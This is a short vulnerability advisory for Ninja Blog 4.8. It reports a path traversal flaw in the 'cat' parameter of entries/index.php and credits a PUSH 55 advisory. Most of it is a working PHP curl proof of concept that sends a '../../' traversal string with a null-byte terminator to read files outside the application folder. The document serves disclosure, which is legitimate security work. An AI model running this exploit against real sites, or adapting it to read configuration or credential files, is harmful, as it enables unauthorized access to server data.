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Vendor: http://ninjadesigns.co.uk Version(s): Ninja Blog 4.8 (May also affect earlier versions) Credit: Danny Moules Critical: Yes
See PUSH 55 Advisory at http://www.push55.co.uk/index.php?s=ad&id=6
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Due to insufficient validation of client-side data, we can alter the path of files to be read to a file outside the intended directory.
The following PoC will read a file named 'test.txt' one level above the application folder.
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<?php
$strToRead = "../../test.txt%00"; //Designates 'test.txt', sat one level above the application folder, to be read $strSite = "http://www.example.com/ninjablog4.8/"; //Don't forget the trailing slash
$objCurl = curl_init(); curl_setopt($objCurl, CURLOPT_URL, $strSite."entries/index.php?cat=".$strToRead); curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true);
echo("Getting data...\n"); $strDump = curl_exec($objCurl);
curl_close($objCurl);
echo("<div style=\"border: solid 2px black; padding: 10px; margin: 10px;\">$strDump</div>\n");
?>
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